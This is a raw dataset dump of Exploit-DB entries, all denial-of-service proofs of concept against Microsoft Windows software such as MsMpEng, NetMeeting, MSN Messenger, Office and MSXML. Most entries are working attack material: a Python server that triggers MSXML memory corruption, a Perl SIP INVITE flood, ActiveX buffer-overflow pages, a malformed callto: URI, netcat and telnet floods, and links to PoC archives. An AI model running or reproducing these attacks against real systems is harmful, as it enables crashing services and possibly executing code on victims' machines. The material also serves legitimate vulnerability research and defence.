deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42092
Description: Microsoft MsMpEng - Use-After-Free via Saved Callers
Type: dos
Platform: windows
Date: 2017-05-30
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1259

In JsRuntimeState::setCaller, it saves the current caller in the JsRuntimeState object(rcx+158h in 64-bit). But the garbage collector doesn't mark this saved value. So it results in a UAF.

Unlike in our test environment(Linux), it doesn't make reliable crashes on Windows. So I used another bug(#1258) to confirm the bug. If the UAF bug doesn't exist, the "crash" function will not be called(See poc.js).

The password of the zip file is "calleruaf"


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42092.zip
Exploit-DB #21481
Description: Microsoft MSN Messenger 1 < 4 - Malformed Invite Request Denial of Service
Type: dos
Platform: windows
Date: 2002-05-24
Author: Beck Mr.R

Exploit:
source: https://www.securityfocus.com/bid/4827/info

Microsoft's MSN Messenger is an instant messenging client for Windows based machines, based on the Passport system.

A vulnerability has been reported in some versions of MSN Messenger. Under some circumstances, it may be possible to crash the client when it receives a malformed invite request. By including a number of HTML-encoded space characters (%20) in the Invitation-Cookie field, and sending the header to a remote user, it is reportedly possible to crash a remote user's client. 

MIME-Version: 1.0
Content-Type: text/x-msmsgsinvite; charset=UTF-8

Application-Name: Remote Assistance
Application-GUID: {56b994a7-380f-410b-9985-c809d78c1bdc}
Session-Protocol: SM1
Application-URL: http://www.microsoft.com
Invitation-Command: INVITE
Invitation-Cookie: 54902160%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
Session-ID: {8B1BE64F-4019-489D-B1A3-EC0BA993651B}
Exploit-DB #15034
Description: Microsoft Mspaint - '.bmp' Crash (PoC)
Type: dos
Platform: windows
Date: 2010-09-18
Author: andrew

Exploit:
# Exploit Title: Bmp crash , microsft paint
# Date: 187/09/2010
# Author: andrew hayn
# Software Link: 
# Version: winxp/sp3
# Tested on: winxp/sp2/sp3

BMP File: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15034.zip
Exploit-DB #14609
Description: Microsoft Msxml2.XMLHTTP.3.0 - Response Handling Memory Corruption (MS10-051)
Type: dos
Platform: windows
Date: 2010-08-10
Author: Skylined

Exploit:
# Sources:
# http://skypher.com/index.php/2010/08/10/ms10-051/
# http://code.google.com/p/skylined/issues/detail?id=17
#
import os, re, socket;
webserver_port = 28876;

replies = {
  r'^/$': ('text/html', """
<SCRIPT>
  iCounter = 0
  function go() {
    var request_url = location.protocol + "//" + location.host + "/RandomHTTP?counter=" + (iCounter++);
    var xml_http_request = new ActiveXObject("Msxml2.XMLHTTP.3.0");
    xml_http_request.open("GET", request_url, false);
    xml_http_request.send();
    setTimeout(go, 1);
  }
  go();
</SCRIPT>
"""),
  r'^/RandomHTTP\?counter=\d+$': 'HTTP 4\n',
};

server_socket = socket.socket();
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1);
server_socket.bind(('', webserver_port));
server_socket.listen(1);
print 'Webserver running at http://localhost:%d/' % webserver_port;

while 1:
  client_socket,_ = server_socket.accept();
  try:
    request = client_socket.recv(1024);
  except socket.error, e:
    print '>> ??';
    continue;
  print '>> ' + request.split('\r\n')[0];
  path = None;
  if request[:4] == 'GET ':
    end_path = request.find(' ', 4);
    if end_path != -1:
      path = request[4:end_path];
  code, reason, mime_type, body = 404, 'Not found', 'text/plain', 'Not found';
  response = None;
  if path is not None:
    for path_regexp in replies.keys():
      if re.match(path_regexp, path):
        if type(replies[path_regexp]) == str:
          response = replies[path_regexp];
        elif type(replies[path_regexp]) == tuple:
          code, reason = 200, 'OK';
          mime_type, body = replies[path_regexp];
        else:
          code, reason, mime_type, body = replies[path_regexp](path);
        break;
  if response is None:
    response = '\r\n'.join([
      'HTTP/1.1 %03d %s' % (code, reason),
      'Content-Type: %s' % mime_type,
      'Date: Sat Aug 28 1976 09:15:00 GMT',
      'Expires: Sat Aug 28 1976 09:15:00 GMT',
      'Cache-Control: no-cache, must-revalidate',
      'Pragma: no-cache', 
      'Accept-Ranges: bytes',
      'Content-Length: %d' % len(body),
      '',
      body
    ]);
  print '<< %s (%d bytes %s)' % \
      (response.split('\r\n')[0], len(response), mime_type);
  try:
    client_socket.send(response);
  except socket.error, e:
    pass;
  client_socket.close();
Exploit-DB #22621
Description: Microsoft NetMeeting 2.1/3.0.1 4.4.3385 - CALLTO URL Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2003-05-20
Author: David F. Madrid

Exploit:
source: https://www.securityfocus.com/bid/7639/info

It has been reported that clicking a malformed 'callto:' URI in Internet Explorer will cause Windows 2000 systems to crash, resulting in a blue screen. This appears to be due to a boundary condition error in one of the URI parameters of the CALLTO protocol handler.

callto:msils/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaAAAAAAAAAAAAAAAAAAAAAAAAaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAAAAAAAAA+type=directory
Exploit-DB #20289
Description: Microsoft NetMeeting 3.0.1 4.4.3385 - Remote Desktop Sharing Denial of Service
Type: dos
Platform: windows
Date: 2000-10-13
Author: Kirk Corey

Exploit:
source: https://www.securityfocus.com/bid/1798/info

The Remote Desktop Sharing component of Microsoft NetMeeting for Windows NT 4.0 / 2000 does not properly handle a particular type of malformed input string sent over port 1720. CPU utilization can be caused to spike to 100% and any existing NetMeeting sessions would fail in the event of an attack. Restarting the application would be required in order to regain normal functionality.

NetMeeting, including the affected component Remote Desktop Sharing, is shipped with Microsoft 2000 but is not enabled by default. NetMeeting can be downloaded as an add-on for NT 4.0.

*A new variant of this vulnerability has been discovered, the result of the new variant is the same as the originally discovered issue. No further technical details have been made available. User's are encouraged to install the latest patch.

nc target 1720 < /dev/zero
Exploit-DB #20508
Description: Microsoft NT 4.0 RAS/PPTP - Malformed Control Packet Denial of Service
Type: dos
Platform: windows
Date: 1999-04-27
Author: Simon Helson

Exploit:
source: https://www.securityfocus.com/bid/2111/info

Quoted from a Microsoft FAQ, "Point-to-Point-Tunneling Protocol (PPTP) is a new networking technology that supports multiprotocol virtual private networks (VPN), enabling remote users to access corporate networks securely across the Microsoft Windows NT Workstation, Windows 95, and Windows 98 operating systems and other point-to-point protocol (PPP)-enabled systems to dial into a local Internet service provider to connect securely to their corporate network through the Internet." On Microsoft Windows NT 4.0 up to and including Service Pack 4 running this service a denial of service is possible. This is accomplished by connecting to port 1723 (the PPTP/VPN service's port) and sending garbage (~256 characters) followed by control-d. This causes the target machine to reboot. 

1) telnet targetmachine 1723
2) hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhh (256 characters)
3) ctrl-d
Exploit-DB #7262
Description: Microsoft Office - Communicator 'SIP' Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-11-28
Author: Praveen Darshanam

Exploit:
#!usr/bin/perl -w

################################################################################################################
#    Microsoft Communicator allows remote attackers to cause a denial of service (memory consumption) via
#    a large number of SIP INVITE requests, which trigger the creation of many sessions.
#
#    Refer:
#    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5180
#    http://xforce.iss.net/xforce/xfdb/46673
#
#
#    To run this exploit on MS Windows replace "#!usr/bin/perl -w" with "#!Installation_path_for_perl -w"
#    (say #!C:/Program Files/Perl/bin/perl -w)
#
#     This was strictly written for educational purpose. Use it at your own risk.
#    Author will not bare any responsibility for any damages watsoever.
#
#        Author:    Praveen Darshanam
#        Email:     praveen[underscore]recker[at]sify.com
#        Date:      27th November, 2008
#
#    NOTE:    Thanks to all my colleagues at iPolicy Networks for making this possible.
#            For reliable security solutions please visit http://www.ipolicynetworks.com/
#
##################################################################################################################


use IO::Socket;

print("\nEnter IP Address of Vulnerable MS Communicator Server: \n");
$vuln_host_ip = <STDIN>;

############################################################
#default port on which SIP works is UDP 5060
#go thru http://technet.microsoft.com/en-us/library/bb963969.aspx for default ports
###################

print("\nEnter UDP port for MS Communicator Server: \n");
$port = <STDIN>;

$sock_sip = IO::Socket::INET->new(    PeerAddr => $vuln_host_ip,
                                     PeerPort => $port,
                                     Proto    => 'udp') || "Unable to create Socket";
#if the server is configured on TCP replace 'udp' with 'tcp'.

while(1)
{
print $sock_sip "INVITE sip:arpman.malicious.com SIP/2.0\r\nVia: SIP/2.0/UDP 172.16.16.4;branch=123-4567-900\r\n";


#kill by pressing Ctrl+c to stop flood of packets
}

#program never comes here for execution
close($sock_sip);

# milw0rm.com [2008-11-28]
Exploit-DB #4067
Description: Microsoft Office - MSODataSourceControl COM-object Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-06-13
Author: YAG KOHHA

Exploit:
MSODataSourceControl.DeleteRecordSourceIfUnused COM-object B0F POC
Tested on full patched XP/SP2, IE7, MSO2003

<html>
<object id=ctl classid="clsid:{0002E55B-0000-0000-C[PII_REDACTED]00046}"></object>
<script language="javascript">
var b = 'AAAA';
while (b.length <= 256) b+=b;
ctl.DeleteRecordSourceIfUnused(b);
</script>
</html>

# milw0rm.com [2007-06-13]
Exploit-DB #3973
Description: Microsoft Office 2000 (OUACTRL.OCX 1.0.1.9) - Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-05-23
Author: shinnai

Exploit:
<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/23</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------------------------------------------
 <b>Microsoft Office 2000 Controllo UA di Microsoft Office (OUACTRL.OCX v. 1.0.1.9) "HelpPopup" method Remote Buffer Overflow
 and winhlp32.exe Denial of Service (hey, don't you think this is a very long title :)</b>

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 control is set as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
---------------------------------------------------------------------------------------------------------------------------

<object classid='clsid:8936033C-4A50-11D1-98A4-00A0C90F27C6' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
 Sub tryMe()
  buff = String(1000, "a")

  test.HelpPopup buff, "default"
 End Sub
</script>

Registers content:

EAX 00000000
ECX 7E39EC0C USER32.7E39EC0C
EDX 7C91EB94 ntdll.KiFastSystemCallRet
EBX 38CFD2D0 OUACTRL.38CFD2D0
ESP 01D0F434 UNICODE "aaaa..."
EBP 00610061
ESI 02ACC86C
EDI 00000000

EIP 00610061
</span></span>

</code></pre>

# milw0rm.com [2007-05-23]
Exploit-DB #31361
Description: Microsoft Office 2000/2003/2004/XP - File Memory Corruption
Type: dos
Platform: windows
Date: 2008-03-07
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/28146/info

Microsoft Office is prone to a remote memory-corruption vulnerability.

An attacker could exploit this issue by enticing a victim to open a malicious Office file.

Successfully exploiting this issue would allow the attacker to execute arbitrary code in the context of the currently logged-in user. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31361.tgz
Exploit-DB #29660
Description: Microsoft Office 2003 - Denial of Service
Type: dos
Platform: windows
Date: 2007-02-25
Author: sehato

Exploit:
source: https://www.securityfocus.com/bid/22716/info

Microsoft Office is prone to a denial-of-service condition when the malformed WMF file is viewed in an Office application.

Exploiting this issue allows remote attackers to crash applications, denying service to legitimate users.

Microsoft Office 2003 is vulnerable to this issue; other versions may also be affected.

Note: IrfanView version 3.99 is also vulnerable to this issue. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29660.wmf
Exploit-DB #28087
Description: Microsoft Office 2003 - Embedded Shockwave Flash Object Security Bypass
Type: dos
Platform: windows
Date: 2006-06-22
Author: Debasis Mohanty

Exploit:
source: https://www.securityfocus.com/bid/18583/info

Microsoft Office is prone to a weakness that may allow remote attackers to execute arbitrary script code contained in Shockwave Flash Objects without first requiring confirmation from users.

A successful attack may allow attackers to access sensitive information and potentially execute malicious commands on a vulnerable computer.

The researcher responsible for discovering this issue has indicated that it presents itself on Windows 2003 SP1, Windows XP Professional Edition SP1 and SP2 running Microsoft Office 2003, and Windows 2000 Professional running Microsoft Office 2003. Other versions may be vulnerable as well.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28087.zip
Exploit-DB #30749
Description: Microsoft Office 2003 - Web Component Memory Access Violation Denial of Service
Type: dos
Platform: windows
Date: 2007-11-12
Author: Elazar Broad

Exploit:
source: https://www.securityfocus.com/bid/26405/info

Microsoft Office Web Component is prone to a denial-of-service vulnerability because of a memory access violation.

Attackers can exploit this issue to crash Internet Explorer and deny service to legitimate users.

This issue affects OWC11 for Microsoft Office 2003. 

<!--
written by e.b.
-->
<html>
<head>
 <script language="JavaScript" DEFER>
   function Check() {
     var obj = new ActiveXObject("OWC11.DataSourceControl");
     obj.XMLDataTarget = "A";
 }
</script>
</head>
<body onload="JavaScript: return Check();" />
</html>
Exploit-DB #37967
Description: Microsoft Office 2007 - Malformed Document Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2015-08-25
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=170&can=1

The following access violation was observed in Microsoft Office 2007
(Word document):

(e24.e28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0583a748 ebx=00eb4684 ecx=003ad1a3 edx=00000000 esi=049860bc edi=00122238
eip=7814500a esp=001221e0 ebp=001221e8 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
MSVCR80!memcpy+0x5a:
7814500a f3a5            rep  movsd ds:049860bc=???????? es:00122238=3348bcd8
0:000> k
ChildEBP RetAddr
001221e8 31249c0e MSVCR80!memcpy+0x5a
00[PII_REDACTED]a371 wwlib!FMain+0x565f
00[PII_REDACTED]de3c wwlib!FMain+0x25dc2
00122268 320dab4c wwlib!DllCanUnloadNow+0x56a6bb
00122280 31fc363f wwlib!DllGetClassObject+0x9c88a
0012229c 31f9acde wwlib!DllCanUnloadNow+0x4efebe
001222b4 31f9b0e5 wwlib!DllCanUnloadNow+0x4c755d
00122308 31bd68c2 wwlib!DllCanUnloadNow+0x4c7964
001223bc 3201a69b wwlib!DllCanUnloadNow+0x103141
00122a68 3129f4eb wwlib!DllCanUnloadNow+0x546f1a
00123b68 3129e8e5 wwlib!FMain+0x5af3c
00123bac 32073906 wwlib!FMain+0x5a336
00126d28 32073627 wwlib!DllGetClassObject+0x35644
0012b14c 32073294 wwlib!DllGetClassObject+0x35365
0012b19c 3209ac20 wwlib!DllGetClassObject+0x34fd2
0012e2f8 3208c781 wwlib!DllGetClassObject+0x5c95e
0012e31c 31314684 wwlib!DllGetClassObject+0x4e4bf
0012f580 320e04b7 wwlib!FMain+0xd00d5
0012f630 320e037f wwlib!DllGetClassObject+0xa21f5
0012f[PII_REDACTED]3 wwlib!DllGetClassObject+0xa20bd

Notes:

- Reproduces on Windows Server 2003 and Windows 7

- The crash occurs due to a memcpy with an invalid source buffer.

- The invalid source buffer is actually indicative of an invalid size
being used in a pointer calculation at 3126A360 (wwlib.dll
12.0.6707.5000). This invalid size can also be seen in ecx at the time
of access violation.

- The large size parameter can result in a stack-based buffer overflow.

- Alternatively, if the copy operation succeeds (by using a size value
large enough to result in an out-of-bounds source buffer, but not so
large to cause an access violation during copy), then it is also
possible to get an arbitrary free from later usage of controlled
pointers in the destination buffer.

- The crashing test case was created using a chunk reordering
strategy, and does not cleanly minimize (106 bit change from original
file).

- Attached files: 86ea4a3c_crash.rtf (crashing file),
86ea4a3c_orig.doc (original file)

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37967.zip
Exploit-DB #37966
Description: Microsoft Office 2007 - OneTableDocumentStream Invalid Object
Type: dos
Platform: windows
Date: 2015-08-25
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=171&can=1

The following access violation was observed in Microsoft Office 2007
(Word document):

(8c0.e68): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012dcf8 ebx=40000000 ecx=40000000 edx=0012de1c esi=40000000 edi=011f1400
eip=32881800 esp=0012d010 ebp=0012d038 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mso!Ordinal7799+0x2fc:
32881800 0fb74614         movzx eax,word ptr [esi+0x14] ds:0023:40000014=????
0:000> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0012d038 328a0a4e mso!Ordinal7799+0x2fc
0012ddd8 328a0a2c mso!Ordinal4388+0x1bc
0012dde4 320c337c mso!Ordinal4388+0x19a
0012de2c 320c330f wwlib!DllGetClassObject+0x850ba
0012de74 312db32b wwlib!DllGetClassObject+0x8504d
0012df1c 312dadf8 wwlib!FMain+0x96d7c
0012df84 312da84c wwlib!FMain+0x96849
0012e074 6be51b27 wwlib!FMain+0x9629d
0012e114 6be5c65b MSPTLS!FsDestroyMemory+0x1ee4e
0012e28c 6be5c94c MSPTLS!FsDestroyMemory+0x29982
0012e2d8 6be36d59 MSPTLS!FsDestroyMemory+0x29c73
0012e344 6be37f87 MSPTLS!FsDestroyMemory+0x4080
0012e450 6be4e8eb MSPTLS!FsDestroyMemory+0x52ae
0012e4e0 6be4f1ff MSPTLS!FsDestroyMemory+0x1bc12
0012e584 6be4f362 MSPTLS!FsDestroyMemory+0x1c526
0012e624 6be4f5cc MSPTLS!FsDestroyMemory+0x1c689
0012e7d8 6be35d9f MSPTLS!FsDestroyMemory+0x1c8f3
0012e8ec 6be630b5 MSPTLS!FsDestroyMemory+0x30c6
0012e970 6be40ee2 MSPTLS!FsDestroyMemory+0x303dc
0012e9e4 6be63a7a MSPTLS!FsDestroyMemory+0xe209

Notes:

- Reproduce on Windows Server 2003 and Windows 7.

- The crash occurs due to an invalid read dereference of a bad object
pointer. If the word value read is controlled and set to a value other
than 0xFFFF, then a controlled value is used as an indirect call
target (at 328A1DD4 in MSO.dll 12.0.6683.5000).

- The bad object pointer is passed in to MSO.dll from wwlib.dll
(second argument of function at 328A0A16 in MSO.dll 12.0.6683.5000).

- The test-case reduces to a 50-bit difference from the original
sample document.

- The affected bits lie in the OneTableDocumentStream's data section,
as well as as PlcfSed's aCP[0] field and PNFKPPAPX[44]'s pn field.

- The copy operation at 3126A36C (wwlib.dll 12.0.6707.5000) uses a
source buffer from the OneTableDocumentStream's data section, and
copies this invalid data into a stack buffer. The bad object pointer
comes from this stack-based structure.

- Attached files: 037542f7_crash.rtf (crashing file),
037542f7_orig.doc (original file). A test case with full control of
the crashing register value (0xAAAAAAAA) is also attached
(037542f7_full.doc)

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37966.zip